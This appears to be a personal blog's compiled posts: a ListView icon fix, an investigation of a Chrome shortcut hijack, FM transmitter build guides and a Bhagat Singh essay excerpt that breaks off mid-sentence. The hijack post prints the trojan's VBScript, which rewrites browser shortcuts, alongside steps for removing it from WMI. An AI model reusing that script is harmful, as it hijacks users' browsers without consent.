How to Make Listview Show Icon Smooth.

before i figured it out, my listview displayed icons that do not have upper edge or have some black pixels in it. i mean they were not smooth.. examples are shown below-ScreenShot_20170104222722.png

do you notice the black pixels around icons ? well, that is a common problem among newbie programmers. they dont know what it is called. so they dont even search it on google.

So i figured out that this problem is bit Depth problem. in the imageList associated with you listview, has set property bit depth = 8.

lets change it to 32-


and see effect –


Voila!!  and you will be like – “that what i wanted!!. thanx a lot bro.” hacked my chrome shortcut

I am running windows 10 and i am bothered by this problem. i usualy have chrome shortcut in my QuickLaunch. but sometimes its become launching “” shortcut..

i mean its when i create shortcut, its target is –


but after some minuts/hoursd, its target get changes and it now targeting –


Some Experiments to Find Changer Process

  1. first i searched v=108 containing files in C:\ Drive with UltraFindFiles Lite.But it reveals nothing. i mean nothing found in any files accept some ADWCleaners log files.

so this method failed.

2. second, i tried to monitor changes in the shortcut file. so , with SystemInternal’s ProcMon, i captured events for 2 Hours. to find desired events among 2,77,45,606  events,

i noticed shortcut’s  “Date Modified” property. it shows “4/1/2017 6:13PM”

so first i filtered file changing events by Path as follows-

if path is C:\Users\ManojBhakarPCM\Desktop\chrome.lnk then include

then checked Menu-Tool–> File Summary , and i saw there only two File Write Events Total.

But i dont know how to filter write events. so i added one more filter for highlighting  as follows-

if Details Contains Write then include

this actually reduced the events to look for. there were still many events- those who had details of QueryBasicInformationFile event. they had events of LastWrite containing String .

But i looked for specific time – 6:13 PM. and i got soon.

Two Processes have Opened the shortcut file for Writing.


and as far as i understood, scrcons.exe Rewrite my chrome.lnk shortcut file.

but i checked sfc, none of windows system files are tempered., i scanned my whole computer with Zemana Antivirus, ADWCleaner . they only removes Shortcuts, and some Registry Entries , But not the Creater.. i am still infected.

oh yes, with Zemana Antivirus, i always detect four instance of, 2 as shortcuts and other 2 are registry entries. which is –


sub key number 108 and 118 has the entries. –

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe


New Tests –

Sending scrcons.exe to virus total via virus total uploader-

its Safe.. Nothing found. 😦

this scrcons.exe is in wbem folder. and i noticed suspicius activity of WmiPrvSE.exe which is also located in same folder.

help if anybody know about it. i am still infected.

UPDATE: FOUND the Cause And Solution.

yes. its a trojan. it comes with KMS 10 .(KMS is All Microsoft Software Cracker) .

this trojan is a VBScript which resides in WMI. it always run either after a fixed interval of time or windows logon.(Restarting or waking up from sleep).

in WMI, event name is VBScriptKids_consumer .. you can search this word on net to get other blogs about it.

To Remove–>

  1.  install WMI Event Viewer.
  2.  connect to namespace root\CIMv2
  3. within this namespace, delete all vbscriptkids named entry from all – Timers, Consumers, Filters. and you are done.

the Script is VBScript inside WMI and i Reformatted it to copy paste here.

On Error Resume Next
Const link = ""
Const link360 = ""
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\ManojBhakarPCM\Desktop,C:\Users\ManojBhakarPCM\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\ManojBhakarPCM\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\ManojBhakarPCM\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\ManojBhakarPCM\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
browsersArr = split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")
For Each browser In browsersArr
oDic.Add LCase(browser), browser
lnkpathsArr = split(lnkpaths,",")
Set oFolders = CreateObject("scripting.dictionary")
For Each lnkpath In lnkpathsArr
oFolders.Add lnkpath, lnkpath
Set fso = CreateObject("Scripting.Filesystemobject")
Set WshShell = CreateObject("Wscript.Shell")
For Each oFolder In oFolders
If fso.FolderExists(oFolder) Then
For Each file In fso.GetFolder(oFolder).Files
If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
Set oShellLink = WshShell.CreateShortcut(file.Path)
path = oShellLink.TargetPath
name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
If oDic.Exists(LCase(name)) Then
If LCase(name) = LCase("360se.exe") Then
oShellLink.Arguments = link360
oShellLink.Arguments = link
End If
If file.Attributes And 1 Then
file.Attributes = file.Attributes - 1
End If
End If
End If
End If

which simply reads- modify shortcuts of all kind of browsers which may resides in QuickLaunch, Desktop, StartMenu .

Now i have deleted everything related to this in WMI and reCreated all shortcuts. and waiting if problem comes again.

My FM bug project.

आपको जानना चाहिए कि-
यह सच में काम करती है। आप इस कंफ्यूजन में नही रहे कि आपका सर्किट ख़राब है या ऐसी चीजे काम ही नही करती। अगर आपका प्रोजेक्ट सफल नही हो पा रहा तो इसका साफ़ साफ़ और एकमात्र मतलब है कि आप ने सर्किट में कुछ गलत कर दिया है।
इसलिए फुल कॉन्फिडेन्स से इस प्रोजेक्ट को बनाये।

यह क्या काम करता है-
यह आवाज को उठा कर सीधा FM पर प्रसारित करता है। जिसे काफी दूर जाकर किसी भी FM रेडियो की सहायता से सुना जा सकता है।
आप अपने मोबाइल के FM रेडियो का भी उपयोग इसे सुनने के लिए कर सकते है।



बैटरी-3 से 9 वोल्ट तक की कोई भी।
ज्यादा बढ़िया आप्शन है 9V वाली बैटरी जो 20 रुपये में आती है।
या फिर पुराने फोन की बैटरी। जो दुबारा चार्ज हो सकती है।

ट्रांजिस्टर- 28 अलग अलग प्रकार के ट्रांजिस्टर मेने लगा लगा कर टेस्ट किये। जिसमे से 22 के साथ यह सर्किट बिल्कुल सही काम कर रहा था।
हर वह ट्रांजिस्टर इसमें काम करेगा जिसका-
Vceo 15 से ऊपर हो।
Ic(max) 15mA से ज्यादा हो।
और T2 की Ft का मान 100 MHz से ज्यादा हो।

T2 का बीटा 100 से ऊपर हो।
तथा T1 का बीटा जितना हो सके उतना हो।

यानि कुल मिलकर T2 एक RF ट्रांजिस्टर होना चाहिए जबकि T1 एक ऑडियो एम्प्लीफायर ट्रांजिस्टर।

और आपको ऊपर लिखी बकवास बिलकुल समझ नही आई तो T2 एंव T1, दोनों की जगह एक ही प्रकार का ट्रांजिस्टर ले सकते है जिस पर लिखे नम्बर BC से सुरु हो और आगे 546 से 549 तक कुछ भी लिखा हो और उसके आगे A,B,C में से कुछ भी लिखा हो।
जैसे BC548B
और अगर आप को यह वाला नही मिल रहा तो,
1815 नंबर वाला भी प्रयोग में ले सकते है जिसका पूरा नाम 2SC1815 है।
2SC सिरीज में O सबसे कमजोर और GR वाला सबसे बढ़िया रहता है।
BC वाली सिरीज में B वाला अच्छा रहेगा।

बाकी, काम तो यह 99% हर ट्रांजिस्टर के साथ करेगा।

कोष्ठक में कैपेसिटर के नंबर लिखे है जो उस पर लिखे होने चाहिए।
C1 एंव C2 – कोई से भी।
C3 = (101)
C4 = (103)
C5 = (10)
C6 = (27)

C1 एंव C2 की जगह कोई सा भी ले सकते है। जीतनी ज्यादा हाई वैल्यू का होगा उतना ही अच्छा है।
पर सर्किट को छोटा रखने के लिए इन्हें भी हम छोटा ही ले लेंगे तो बढ़िया होगा। इसलिए (104) लिखा हुआ सिरेमिक कैपेसिटर बढ़िया रहेगा।

C3 एंव C4 में आस पास की वैल्यू चल सकती है।
पर C5 और C6 के मान उतने ही हो जितने मेने लिखे है। वर्ना प्रोजेक्ट काम नही करेगा।

इनमे जरुरी होने के हिसाब से क्रम निम्न है-(ज्यादा ऊपर मतलब ज्यादा जरुरी)

ये सभी सिरेमिक कैपेसिटर है।

R1 माइक के हिसाब से,
R2,R3 ट्रांजिस्टर T1 के हिसाब से और
R4,R5 ट्रांजिस्टर T2 के हिसाब से लगाए गए है।

जिसमे सबसे महत्वपूर्ण है R4, जिसका मान किसी भी ट्रांजिस्टर के लिए 47K लेवे तो ज्यादा अच्छा है।
40K से निचे लेने पर यह पक्का ही काम नही करेगा।
R5 का मान 100 से 600 के बीच में ले सकते है और
लेकिन ध्यान रहे कम वोल्ट की बैटरी के साथ कम लेवे, एंव ज्यादा वोल्ट वाली के साथ ज्यादा।
वैसे मेने पढ़ा है कि इसका मान कम लेने पर ज्यादा अच्छी रेंज प्राप्त होती है।

R2 का मान 500K से ज्यादा हो तो अच्छा रहेगा।
पर जैसाकि मेने आगे वर्णन किया है, T2 एक ऑडियो एम्प्लीफायर है जिसे नही भी लगाए तो भी चलेगा।
R3 का मान 500 ओम से 1K ओम के बीच ले सकते है।

R1 का मान माइक पर निर्भर करता है।
जो 10K से 50K के बीच में हो सकता है।

माइक आप कोई सा भी एलेक्ट्रेट/कंडेंसर माइक ले सकते है।
आसानी से उपलब्ध होने वाला माइक है किसी बढ़िया कंपनी के इयरफोन में आने वाला माइक।

चाइनीज इयरफोनो के माइक सबसे बकवास आते है। यधपि चल तो वे भी जाएंगे पर इतना मस्त नही।

टेपरिकॉर्डर वाला माइक सबसे बेस्ट होता है।
R1 ,जो कि इस माइक को सही धारा प्रदान करता है, अलग अलग माइक के लिए अलग अलग होता है।
यह 10K से 50K के बीच में हो सकता है।इसके लिए आप एक अलग से वेरिएबल रेजिस्टेंस लगा कर देख ले। प्रतिरोध का एक ऐसा मान होगा जिस पर माइक आवाज के प्रति ज्यादा से ज्यादा सेंसेटिव होगा। उससे अधिक का या कम मान का प्रतिरोध लगाने पर यह उतना बढ़िया काम नही करेगा। यद्यपि काम तो यह हर प्रतिरोध के साथ करेगा।

कॉइल के लिए आप किसी भी ताम्बे के तार का इस्तेमाल कर सकते है। इसके 5 या 6 लपेटे आप को किसी भी इयरफोन के जैक पर देने है।
कॉइल की इंडक्टेस का मान इसके लपेटो की संख्या, इसके व्यास, और इसकी लंबाई पर निर्भर करता है।
यंहा हमने लपेटे और व्यास(3.5 mm) फिक्स कर दिए है। अतः अब इसका मान बदलने के लिए इसे थोडा बधार देंगे(फेला लेंगे) जिससे इसके हर लपेटे के बिच में जगह हो जाए। इससे इसकी लंबाई बढ़ जायेगी। जिससे इसका मान बदल जाएगा।

एंटेना के लिए हम किसी भी तार का इस्तेमाल कर सकते है। अच्छा तो वही ताँबे का तार रहेगा जिससे कॉइल बनाई है।
यह परिपथ कुछ पॉवर पैदा करता है। इस पैदा की गयी पॉवर में से कितनी पॉवर ट्रांसमिट होगी, यह एन्टेंना की लंबाई पर निर्भर करता है।
एन्टेंना की अधिकतम लंबाई फ्रीक्वेंसी की वेवलेंथ के बराबर होनी चाहिए। 100MHz की वेवलेंथ 3 मीटर होती है। इसका मतलब यह है कि 3 मीटर लंबी एंटेना से इसकी पूरी पॉवर ट्रांसमिट होगी। आधी लंबाई से आधी होगी।

ध्यान रहे, इस तरह के तार वाली एंटेना को इलेक्ट्रिक डाइपोल एंटेना कहते है। इसका दूसरा पोल, बैटरी का माइनस वाला सिर होता है जिस पर भी एक दूसरी एंटेना लगाईं जा सकती है। पर एंटेना की कुल लंबाई में ये दोनों ही एंटेना शामिल होते है।
इस तरह की एंटेना की लम्बाई से 90 डिग्री के कोण पर सारी तरंगे प्रसारित होती है। अर्थात एंटेना को खड़ा रखे।
अपने टेस्ट सर्किट के लिए आप चार अंगुल का कोई भी तार एंटेना के रूप में जोड़ सकते है।

सर्किट को टेस्ट करना-
अब कैसे पता चलेगा कि सर्किट काम कर रहा है या नही?
इसके लिए सबसे पहले आपको एक मल्टीमीटर चाहिए होगा।
और इस मल्टीमीटर से हम सर्किट द्वारा खींची गयी धारा मापेंगे।
अगर एंटेना छूने से इस धारा का मान बदलता है(काफी) तो इसका मतलब है हमारा सर्किट काम कर रहा है।
उसके पश्चात एक मात्र काम बचेगा इसकी फ्रीक्वेंसी को 88-108MHz के बीच सेट करना।
जैसे उदहारण के लिए मेरा सर्किट बिना एंटेना छुए 4.52 mA धारा लेता है। लेकिन एंटेना छूने पर यह बढ़ कर 5.02 mA हो जाती है। सर्किट अगर सही काम करेगा तो यह धारा बढ़ेगी। वर्ना अगर घट रही हो तो अपने कैपेसिटर के कनेक्शन जाँचे।

फ्रीक्वेंसी को 88-108MHz के बीच लाना-
क्योंकि FM इसी फ्रीक्वेंसी को कहते है। इसके लिए अपना मोबाइल फोन ले और इयरफोन लगा कर 88 MHz पर ट्यून करे।
अब एंटेना को छुए। अगर आपको आवाज में कोई बदलाव सुनाई देता है तो अच्छा है। वर्ना 108MHz पर ट्यून करे और यही प्रक्रिया दुबारा दोहराये।

एंटेना को छूने से कम से कम 2MHz फ्रीक्वेंसी बढ़ जाती है। अत: अभी यह कोनसी फ्रीक्वेंसी पर प्रसारण कर रहा है यह जानने के लिए 2- 2  MHz के अंतर पर अपने रेडियो को ट्यून करे और एंटेना को छू छू कर देखे। जंहा आवाज में अंतर नजर आये, वंही आस पास मैन्युअल ट्यून कर के देखे।

अगर आपने 6 लपेटे कॉइल पर लगाए है तो कॉइल की लंबाई बढ़ा ले यानि इसे फेला ले। इससे इसकी फ्रीक्वेंसी बढ़ जायेगी।
अगर फ्रीक्वेंसी घटानी हो तो इसकी लंबाई कम कर ले। यानि इसे सिकोड़ ले।

इस तरह कॉइल के आधार पर आप इसको फ्रीक्वेंसी सेट कर सकते है।

यह सर्किट कैसे काम करता है।-
इस छीर सर्किट के दो भाग है। एक ऑडियो एम्प्लीफायर है जो माइक से आवाज लेकर उसे बढ़ाता है। इससे आप किसी जगह की हलकी से हलकी आवाजे भी सुन पाते है। ऑडियो एम्प्लीफायर में सबसे पहले इनपुट के रूप में माइक जोड़ा गया है जो R1 से धारा लेते हुए चालू होता है।
माइक के सिरो पर आवाज के साथ सिग्नल पैदा होते है। जिन्हें T1 के बेस पर भेजा जाता है।
इनके बिच में 104 मान अंकित कैपेसिटर कपलर का काम करता है। इस कैपेसिटर से सिर्फ आवाज के सिग्नल आगे जाते है। इसे लगाना अत्यंत आवश्यक है अन्यथा बिना आवाज के सिग्नल यानि DC धारा भी बेस में जायेगी और ट्रांजिस्टर सही काम नही करेगा।
ट्रांजिस्टर T1 को एक्टिव रीजन में रखने के लिए इसके बेस को 1M ओम के रजिस्टर द्वारा स्थिर धारा प्रदान की गयी है।
ट्रांजिस्टर के आउटपुट धारा में बदलाव आवाज के साथ साथ होता है जिसे वोल्टेज में बदलाव वाले सिग्नल में बदलने के लिए 1K ओम का रेजिस्टेंस जोड़ा गया है। इस प्रतिरोध के सिरो पर आवाज के साथ धारा में बदलाव के काऱण वोल्टेज में बदलाव होता है। फलतः पुन: वोल्टेज सिग्नल पैदा होते है। जिन्हें ट्रांजिस्टर T2 के बेस पर भेज दिया जाता है।

यंहा पुन: 104 अंकित कैपेसिटर कपलर का कार्य करता है जो कि महत्वपूर्ण है।

इस परिपथ का दूसरा भाग ट्रांजिस्टर T2 है जो 47K ओम प्रतिरोध द्वारा स्थिर धारा प्राप्त करके एक्टिव रीजन में कार्य करता है। इसमें लोड की जगह कॉइल एंव कैपेसिटर से बना टैंक सर्किट है जो कि FM आवृति की तरंगे पैदा करता है। ये तरंगे धारा में उतार चढ़ाव के रूप में होती है। लेकिन समय के साथ यह तरंगे क्षीण ना हो जाए इसके लिए C5 के द्वारा फीडबैक के जरिये इन्हें पुनः ट्रांजिस्टर के बेस पर भेजा जाता है। इससे ये पुनः आवर्धित होकर टैंक सर्किट में मिल जाती है। इससे ये तरंगे एक समान बनी रहती है एंव समय के साथ क्षीण नही होती।

टैंक सर्किट के निचले भाग से एंटेना जोड़ी गयी है।
जब धारा में उतार चढाव होता है तो इस एंटेना के अंदर इलेक्ट्रान आगे पीछे गति करते है जिससे विधुत चुम्बकीय तरंगे पैदा होती है जो वातावरण में फेल जाती है।

यंहा फीडबैक अप्रत्यक्ष है। जो C3 एंव C5 द्वारा पूरा होता है।
बैटरी के दोनों सिरो के मध्य कैपेसिटर इसलिए लगाया गया है ताकि इनके बीच में जो भी वोल्टेज में बदलाव हो(इन तरंगो के कारण) वह आपस में शार्ट होकर समाप्त हो जाए। इस कैपेसिटर के अभाव में यह सर्किट किसी हालत में काम नही करेगा।
T2 के एमिटर से जुड़ा प्रतिरोध भी इसकी बायसिंग का हिस्सा है। पर दोलको में यह बायसिंग अत्यंत आवश्यक है।

FM का मतलब है फ्रीक्वेंसी मोडुलेसन।
T2 वाला भाग एक फिक्स आवृति वाली तरंगे पैदा करता है। जिनमे कोई आवाज नही होती। माइक वाली आवाज इन तरंगो की आवृति में थोडा थोडा बदलाव करती है।
इस तरह से ये आवाज के अनुसार आवृति में बदलाव वाली तरंगे FM तरंगे कहलाती है।

कोई भी रेडियो रिसीवर इन तरंगो में इसी आवृति की लेकिन उलटी कला की तरंगे मिला कर इन्हें समाप्त कर देता है। बचता है सिर्फ इनमे होने वाला बदलाव। जिसे आवाज कहते है।

1. इस पूरे सर्किट के 1 फुट पास कोई चीज रखने पर इसकी फ्रीक्वेंसी में थोडा बहुत बदलाव आ जाता है।

2. बैटरी के डिस्चार्ज होने के साथ साथ भी इसकी फ्रीक्वेंसी में थोडा बहुत बदलाव आता जाता है।

3. खुले वातावरण एंव ऊँची लंबी एंटेना में इसकी रेंज बढ़ जाती है जबकि छोटी एंटेना, कम ऊँची एंटेना एंव दीवारो एंव घरो के बीच इसकी रेंज कम हो जाती है।

4. हाथ से एंटेना छूने पर पता नही क्या होता है।

5. पूरे सर्किट को किसी धातु के बॉक्स में फिट करने पर ज्यादा अछि रेंज प्राप्त होती है( फैराडे शील्ड प्रभाव)।

How to Make FM transmitter from FM radio

ok here is how to convert your FM radio receiver to a FM transmitter.

i did it 10 years ago and with a long 1.5 meter antenna, i got range may be 200 meter.

although its vary with the radio receiver modal.

that time i was little and didn’t new how it works. but now i know.
every radio receiver has a oscillator itself. so it mix signal with inverting phase to cancel out carrier signal and extract out remaining audio signal.

lets put all theory aside( its so long) and make it out.

we will take two ordinary Radio receivers. one of them we will call “Rx” (the Receiver)
and another is “Tx” (the Transmitter).

first we haven’t modified any of them.
just tune R at 100 MHz. or near where no radio station is available and you hear only noise.
now tune Tx from 88 to 108 MHz.

while tuning, you will hear sudden silence in Rx. yes, Tx will eliminate all noise of Rx.

at that frequency of Rx, the Tx is transmitting.

its just the oscillator. what you listening on Rx now is just FM carrier frequency. without sound.

a ideal FM receiver will be completly silent at this moment. becoz what Tx is transmitting is just carrier frequency without any sound. and in receiver, the carrier frequency is cancelled out by mixing same frequency with inverting phase. while there is no sound mixed by Tx, you shouldn’t hear any sound.

but nothing in world is ideal.

ok let again put the theory aside and add a audio to it.

i am not going to tell u how to add audio coming from music player to it. instead, i will only tell how to add mic to it.
bcoz, i admit, i never tried it.

but i tried adding mic to it and got huge success.
it gives you very crystal clear sound.

only problem is, the sensetivity of mic is decrease with weakness of signals received by Rx.

i make you remember at this point, we haven’t modified any of receiver yet and any of them can be used as Rx and other is as Tx.

both have a oscillator inside them which can silence out other receiver.

i cant remember (10 years, you know!) that Tx should be tuned at whether lower or higher frequency than Rx.

but i remember one thing. a fix few MHz frequency gap between them. always.

if you haven’t got any silence then try this-

tune Rx at 108 MHz and try tuning Tx from 88 and to 108 MHz.

if you don’t get any silence in Rx, then do it reverse. i mean-
tune Rx at 88 MHz and then tune Tx starting from 88 to the 108 MHz.

i bet , at one point, you 100% got a silence in Rx.

ok now add a mic to transmitter.
we will add a mic to TANK circuit of Tx, in parallel.

it should be a condenser mic.
as you know, capacitance of condenser mic changes with audio. and while we are adding it in parallel to the tank circuit, the changes in capacitance will cause change in frequency. so, here, carrier frequency is changing according to the audio. which is called frequency modulation of audio or the FM.

this changes in capacitance is very low and thus, changes in carrier frequency is also very slight, say under 100kHz. so its a perfect frequency modulation.

so open up Tx, and look at gang tuning capacitor from behind. behind mean you should see soldring.


figure: where and how to connect mic

first we will find out which pole is for FM tuning. to do this, while silencing out the Rx, touch all poles of Tx one by one.

on the pole, by touching, you get noise again in Rx, is pole for FM tuning.

or if you dont get that hisssssss type noise again, at least you would get some/any kind of sound. like if you put a screwdriver on that pole, you should get “thak thak” or “fat fat” or “tan tan” sound.

so after recognizing that pole, we just going to put a condenser mic between that pole and ground.
ground mean, the negetive of battery.

in the picture, you can see.

here are some , based on my experience.

1. i can’t remember my all experiments but adding mic to that tunning circuit will change the transmitting frequency. it will increase it or decrease it i don’t remember. but i clearly remember it will change its frequency and you have to re tune the Tx.
by changing frequency i also mean it will make that Gap increased.
by theory, what i know, see the footnotes.

2. as the Gap will increase, its possible that you tune Rx and 108 MHz and dont get silenced even tuning Tx at 88 MHz or vice versa.
in that case, the increased gap will be more than 20 MHz.
so to get rid of this situation,
we will have to recognize the FM tunning coil first.

you will see many coils on the PCB. one of them is for FM.
just touch them one by one.
while Rx silencing out.
touching mean touch one end of them with screwdriver at the soldering side of PCB.
the coil, by touching it you get maximam sound/distortion/noise in Rx, is used for FM.

i make you remember again, our Rx is as it is. we just examining out Tx. dont do any experiment with Rx accept tuning it.
all experiments are being done on Tx.

2. condenser mic should not have long leads. keep it as short as you can. i experienced that by connecting long leads of condenser mic, frequency gap between Rx and Tx is increased. so keep them short.

3. i also experianced that if we add normal connecting copper wires as leads, that gap(frequency shift) is maximam.
so use a coil copper wire as condenser mic leads.

so after adding mic, you will see that Rx is not silenced any more. and you going to re tune Tx again.

becoz the transmitter frequency is changed.

if in the case you cant silence out Rx again with all scale tuning of Tx, just expend that coil that we recognized earlier.

and then try to re tune Tx again.

all of worst case is when you dont get Rx silenced out even when you expended the coil as long as you can, is that you used very long condenser mic leads or uncommon condenser mic.
in that case the frequency shifted very far below.

if you keep mic leads short and made of strong single copper wire, it will work perfectly. in that case you can either enjoy its crystal clear sound or come back here at my blog to post your thank in comments.

foot notes.
1. i cant remember but Rx should set 108MHz and Tx will transmit on this frequency when tuned on some megahertz below it. say 9 MHz below(99 MHz).
so Rx tuned at 108 and Tx at 99 MHz and you will hear no sound at all from Rx.
here the GAP i am talking about is 9 MHz.

then you add comdencer mic and Rx is no more silenced.

in this situation, the condeser mic’s capacitance is in parallel with tank circuits capacitor. so it is directly added to it. and frequency is decreased according to well known fromula
f = 1/ [2*pi* root(LC)].

so now that Gap should be higher. say its now 19 MHz.
so while tunning Rx at 108 MHz, Tx have to be tuned 19 MHz below it (at 89 MHz).

in the case you done anything wrong with condenser mic, the gap is very High. say it is 25 MHz.

in this situation even if you tune Tx at minimam 88 MHz, it will be transmitting at 88+25 = 113 MHz. so you cant silenced out Rx anywhere between 88-108 MHz.
in this case you have to stretch FM coil. by stretching tank inductor coil you decreasing its inductance. and frequency is increasing according to that well known frequency formula. thus decreasing the Gap. and you might be able to make transmitter transmitting near 108 MHz, so that you can tune Rx at this frequency.

2. if your mobile phone has FM radio then it can happily be used as Rx.

3. this transmitter is perfect stable. means its transmitting frequency does not change with touch or battery voltage.

4. its range depend on length of antenna. for transmitting all power generated by transmitter, antenna should be equel to wavelength of transmitting frequency.
and half for half.
that is said by antenna theory.

5. who already made it and looking for further-
the point to attach antenna for transmitting should be defer than receiving. and according to me, it must be that pole where you attached positive lead of condenser mic. but by attaching antenna, its frequency will change.

6. even after you converted the Tx into a transmitter, you will see its still a receiver at tuned frequency!

thanks for reading my soooo long lecture.

i write blog of what is unique. all this is done by me. i don’t write for showing you ad and earning money. i just want my credit.
so copy cats, even if you make this. dont forget to credit me.

my Name is ManojBhakarPCM.

भगतसिंह (1931) मैं नास्तिक क्यों हूँ?

भगतसिंह (1931)
मैं नास्तिक क्यों हूँ?
यह लेख भगत सिंह ने जेल में रहते हुए लिखा था और यह 27
सितम्बर 1931 को लाहौर के अखबार “ द पीपल “ में
प्रकाशित हुआ ।

इस लेख में भगतसिंह ने ईश्वर कि उपस्थिति पर अनेक तर्कपूर्ण सवाल खड़े किये हैं और इस
संसार के निर्माण , मनुष्य के जन्म , मनुष्य के मन में ईश्वर
की कल्पना के साथ साथ संसार में मनुष्य की दीनता ,
उसके शोषण , दुनिया में व्याप्त अराजकता और और
वर्गभेद की स्थितियों का भी विश्लेषण किया है ।

यह भगत सिंह के लेखन के सबसे चर्चित हिस्सों में रहा है।
स्वतन्त्रता सेनानी बाबा रणधीर सिंह 1930-31के बीच
लाहौर के सेन्ट्रल जेल में कैद थे। वे एक धार्मिक व्यक्ति थे
जिन्हें यह जान कर बहुत कष्ट हुआ कि भगतसिंह का ईश्वर
पर विश्वास नहीं है। वे किसी तरह भगत सिंह
की कालकोठरी में पहुँचने में सफल हुए और उन्हें ईश्वर के
अस्तित्व पर यकीन दिलाने की कोशिश की। असफल
होने पर बाबा ने नाराज होकर कहा, “प्रसिद्धि से
तुम्हारा दिमाग खराब हो गया है और तुम अहंकारी बन
गए हो जो कि एक काले पर्दे के तरह तुम्हारे और ईश्वर के
बीच खड़ी है। इस टिप्पणी के जवाब में ही भगतसिंह ने यह
लेख लिखा।एक नया प्रश्न उठ खड़ा हुआ है। क्या मैं
किसी अहंकार के कारण सर्वशक्तिमान,
सर्वव्यापी तथा सर्वज्ञानी ईश्वर के अस्तित्व पर
विश्वास नहीं करता हूँ? मेरे कुछ दोस्त – शायद
ऐसा कहकर मैं उन पर बहुत अधिकार नहीं जमा रहा हूँ – मेरे
साथ अपने थोड़े से सम्पर्क में इस निष्कर्ष पर पहुँचने के लिये
उत्सुक हैं कि मैं ईश्वर के अस्तित्व को नकार कर कुछ ज़रूरत
से ज़्यादा आगे जा रहा हूँ और मेरे घमण्ड ने कुछ हद तक मुझे
इस अविश्वास के लिये उकसाया है। मैं ऐसी कोई
शेखी नहीं बघारता कि मैं मानवीय कमज़ोरियों से बहुत
ऊपर हूँ। मैं एक मनुष्य हूँ, और इससे अधिक कुछ नहीं। कोई
भी इससे अधिक होने का दावा नहीं कर सकता। यह
कमज़ोरी मेरे अन्दर भी है। अहंकार भी मेरे स्वभाव का अंग
है। अपने कामरेडो के बीच मुझे निरंकुश कहा जाता था।
यहाँ तक कि मेरे दोस्त श्री बटुकेश्वर कुमार दत्त भी मुझे
कभी-कभी ऐसा कहते थे। कई मौकों पर स्वेच्छाचारी कह
मेरी निन्दा भी की गयी। कुछ दोस्तों को शिकायत है,
और गम्भीर रूप से है कि मैं अनचाहे ही अपने विचार, उन पर
थोपता हूँ और अपने प्रस्तावों को मनवा लेता हूँ। यह बात
कुछ हद तक सही है। इससे मैं इनकार नहीं करता। इसे अहंकार
कहा जा सकता है। जहाँ तक अन्य प्रचलित मतों के
मुकाबले हमारे अपने मत का सवाल है। मुझे निश्चय ही अपने
मत पर गर्व है। लेकिन यह व्यक्तिगत नहीं है।
ऐसा हो सकता है कि यह केवल अपने विश्वास के
प्रति न्यायोचित गर्व हो और इसको घमण्ड
नहीं कहा जा सकता। घमण्ड तो स्वयं के प्रति अनुचित
गर्व की अधिकता है। क्या यह अनुचित गर्व है, जो मुझे
नास्तिकता की ओर ले गया? अथवा इस विषय का खूब
सावधानी से अध्ययन करने और उस पर खूब विचार करने के
बाद मैंने ईश्वर पर अविश्वास किया?मैं यह समझने में
पूरी तरह से असफल रहा हूँ कि अनुचित गर्व
या वृथाभिमान किस तरह किसी व्यक्ति के ईश्वर में
विश्वास करने के रास्ते में रोड़ा बन सकता है?
किसी वास्तव में महान व्यक्ति की महानता को मैं
मान्यता न दूँ – यह तभी हो सकता है, जब मुझे
भी थोड़ा ऐसा यश प्राप्त हो गया हो जिसके या तो मैं
योग्य नहीं हूँ या मेरे अन्दर वे गुण नहीं हैं, जो इसके लिये
आवश्यक हैं। यहाँ तक तो समझ में आता है। लेकिन यह कैसे
हो सकता है कि एक व्यक्ति, जो ईश्वर में विश्वास
रखता हो, सहसा अपने व्यक्तिगत अहंकार के कारण उसमें
विश्वास करना बन्द कर दे? दो ही रास्ते सम्भव हैं।
या तो मनुष्य अपने को ईश्वर का प्रतिद्वन्द्वी समझने लगे
या वह स्वयं को ही ईश्वर मानना शुरू कर दे। इन
दोनो ही अवस्थाओं में वह सच्चा नास्तिक नहीं बन
सकता। पहली अवस्था में तो वह अपने प्रतिद्वन्द्वी के
अस्तित्व को नकारता ही नहीं है। दूसरी अवस्था में
भी वह एक ऐसी चेतना के अस्तित्व को मानता है,
जो पर्दे के पीछे से
प्रकृति की सभी गतिविधियों का संचालन करती है। मैं
तो उस सर्वशक्तिमान परम आत्मा के अस्तित्व से
ही इनकार करता हूँ। यह अहंकार नहीं है, जिसने मुझे
नास्तिकता के सिद्धान्त को ग्रहण करने के लिये प्रेरित
किया। मैं न तो एक प्रतिद्वन्द्वी हूँ, न ही एक अवतार और
न ही स्वयं परमात्मा। इस अभियोग को अस्वीकार करने
के लिये आइए तथ्यों पर गौर करें। मेरे इन दोस्तों के अनुसार,
दिल्ली बम केस और लाहौर षडयन्त्र केस के दौरान मुझे
जो अनावश्यक यश मिला, शायद उस कारण मैं
वृथाभिमानी हो गया हूँ।मेरा नास्तिकतावाद कोई
अभी हाल की उत्पत्ति नहीं है। मैंने तो ईश्वर पर विश्वास
करना तब छोड़ दिया था, जब मैं एक अप्रसिद्ध नौजवान
था। कम से कम एक कालेज का विद्यार्थी तो ऐसे
किसी अनुचित अहंकार को नहीं पाल-पोस सकता,
जो उसे नास्तिकता की ओर ले जाये। यद्यपि मैं कुछ
अध्यापकों का चहेता था तथा कुछ अन्य को मैं
अच्छा नहीं लगता था। पर मैं कभी भी बहुत
मेहनती अथवा पढ़ाकू विद्यार्थी नहीं रहा। अहंकार
